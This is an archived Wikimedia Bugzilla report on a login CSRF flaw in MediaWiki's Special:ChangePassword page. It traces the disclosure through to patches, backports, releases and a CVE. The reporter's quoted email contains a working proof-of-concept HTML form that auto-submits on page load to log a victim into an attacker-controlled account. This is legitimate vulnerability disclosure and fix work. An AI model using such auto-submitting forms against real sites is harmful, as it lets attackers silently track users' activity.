Last modified: 2014-04-01 20:59:13 UTC

Wikimedia Bugzilla is closed!

Wikimedia migrated from Bugzilla to Phabricator. Bug reports are handled in Wikimedia Phabricator.
This static website is read-only and for historical purposes. It is not possible to log in and except for displaying bug reports and their history, links might be broken. See T64497, the corresponding Phabricator task for complete and up-to-date bug report information.
Bug 62497 - Login csrf in Special:ChangePassword
Login csrf in Special:ChangePassword
Status: RESOLVED FIXED
Product: MediaWiki
Classification: Unclassified
Special pages (Other open bugs)
1.23.0
All All
: High normal with 1 vote (vote)
: 1.23.0 release
Assigned To: Chris Steipp
: patch-need-review
Depends on:
Blocks:
  Show dependency treegraph
 
Reported: 2014-03-10 17:47 UTC by Chris Steipp
Modified: 2014-04-01 20:59 UTC (History)
9 users (show)

See Also:
Web browser: ---
Mobile Platform: ---
Assignee Huggle Beta Tester: ---


Attachments
Add CSRF token on Special:ChangePassword (1.85 KB, patch)
2014-03-10 19:34 UTC, Chris Steipp
Details
Backport to REL1_22 (2.08 KB, patch)
2014-03-26 23:15 UTC, Markus Glaser
Details
Backport to REL1_22 (2.20 KB, patch)
2014-03-27 00:56 UTC, Chris Steipp
Details
Backport to REL1_21 (2.23 KB, patch)
2014-03-27 09:27 UTC, Markus Glaser
Details
Backport to REL1_19 (2.65 KB, patch)
2014-03-27 09:50 UTC, Markus Glaser
Details

Description Chris Steipp 2014-03-10 17:47:21 UTC
Gopinath (via codex.galleryproject.org) reported a login csrf on Special:ChangePassword. Confirmed this in master. Note with the PoC, the victim must have an existing _session cookie on the target wiki, otherwise the login fails.

Special:ChangePassword should use a login token.



>>>>

On Sun, Mar 9, 2014 at 12:16 PM, Bharat Mediratta <bharat@menalto.com> wrote:

Hi, Wikimedia folks - Gopinath is reporting a vulnerability in Mediawiki 1.22.3 which is running on codex.galleryproject.org - can you take a look at this and decide whether it's something you want to resolve in the Mediawiki codebase?

-Bharat



On Fri, Mar 7, 2014 at 10:14 PM, Gopinath <gopiengg@gmail.com> wrote:
Hi,
Through below CSRF Code user  can be logged into the attackers account, without knowledge of  user.So  attacker can track the  user activity.
User also wont know the attacker account password .Attacker can request password reset for his account and can get the value of  wpPassword parameter.

POC Code

<html>
<head>
</head>
<body onload=document.forms[0].submit();>
<form action="http://codex.galleryproject.org/Special:ChangePassword" method="POST"> 
        <input type="hidden" name="returnto" value="Main Page" />
        <input type="hidden" name="token" value="+\" />
        <input type="hidden" name="wpDomain" value="" />
        <input type="hidden" name="wpName" value="Gopinath6" />
        <input type="hidden" name="wpNewPassword" value=password1234 />
        <input type="hidden" name="wpPassword" value=7qbuqjjsme />
        <input type="hidden" name="wpRetype" value=password1234 />
</form>
</body>
</html>


Regards
Gopinath
Comment 1 Chris Steipp 2014-03-10 19:34:46 UTC
Created attachment 14787 [details]
Add CSRF token on Special:ChangePassword
Comment 2 Brad Jorsch 2014-03-11 15:17:26 UTC
The patch looks good to me.
Comment 3 Chris Steipp 2014-03-26 13:29:21 UTC
Early access for Wikia.
Comment 4 Markus Glaser 2014-03-26 22:06:16 UTC
Do we already have a CVE for this bug?
Comment 5 Chris Steipp 2014-03-26 22:15:29 UTC
Not yet. I'll request one as soon as we make it public.
Comment 6 Markus Glaser 2014-03-26 23:15:04 UTC
Created attachment 14927 [details]
Backport to REL1_22

Backported to the best of my knowledge. Special:ChangePassword tested. Can't reproduce the attack, so someone with a deeper understanding of this vulnerability should look at it and confirm it fixes the security issue.
Comment 7 Chris Steipp 2014-03-27 00:56:25 UTC
Created attachment 14933 [details]
Backport to REL1_22

I hit a couple issues when testing your patch. I think this is a slightly better way to do it.
Comment 8 Markus Glaser 2014-03-27 09:27:50 UTC
Created attachment 14938 [details]
Backport to REL1_21

Backport similar to 14933, so Chris' changes are already considered. Changing passwords was tested. Please look for potentail security implications.
Comment 9 Markus Glaser 2014-03-27 09:50:54 UTC
Created attachment 14939 [details]
Backport to REL1_19

Considering Chris' new version of the backport for REL1_22. Tested password change. Still works.
Comment 10 Grunny 2014-03-27 10:46:35 UTC
Tested the 1.19 backport patch, and confirmed it fixes the vulnerability.
Comment 11 Markus Glaser 2014-03-28 01:37:18 UTC
Fix is released in MW 1.19.14, 1.21.8 and 1.22.5. WMF sites are patched.
Comment 12 T. Gries 2014-03-28 06:54:24 UTC
Comment on attachment 14787 [details]
Add CSRF token on Special:ChangePassword

The token compare function is _not_ running in constant time. As we have a function for token comparison, we should use it here.
Comment 13 T. Gries 2014-03-28 07:12:12 UTC
see http://www.gossamer-threads.com/lists/wiki/mediawiki-cvs/436923 (well, this is essential for _password_ comparison, perhaps not necessarily needed for token comparison, as already discussed elsewhere)
Comment 14 Andre Klapper 2014-03-31 15:35:56 UTC
For the records, https://www.mediawiki.org/w/index.php?title=Project:Support_desk#Session_Hijacking_error_after_Update_1.19.14_41441 lists an issue with the 1.19.14 tarball including the backport for this.
Comment 15 Chris Steipp 2014-04-01 16:27:22 UTC
Markus just released 1.19.15 to fix the password reset issue.
Comment 16 Chris Steipp 2014-04-01 16:40:50 UTC
Correction, Markus will release 1.19.15 tomorrow to fix the issue. Sorry about that.
Comment 17 Chris Steipp 2014-04-01 20:59:13 UTC
This was assigned CVE-2014-2665.

http://openwall.com/lists/oss-security/2014/04/01/7

The MITRE email also documents their understanding of "Login CSRF", which is good background if this issue pops up again.

Note You need to log in before you can comment on or make changes to this bug.


Navigation
Links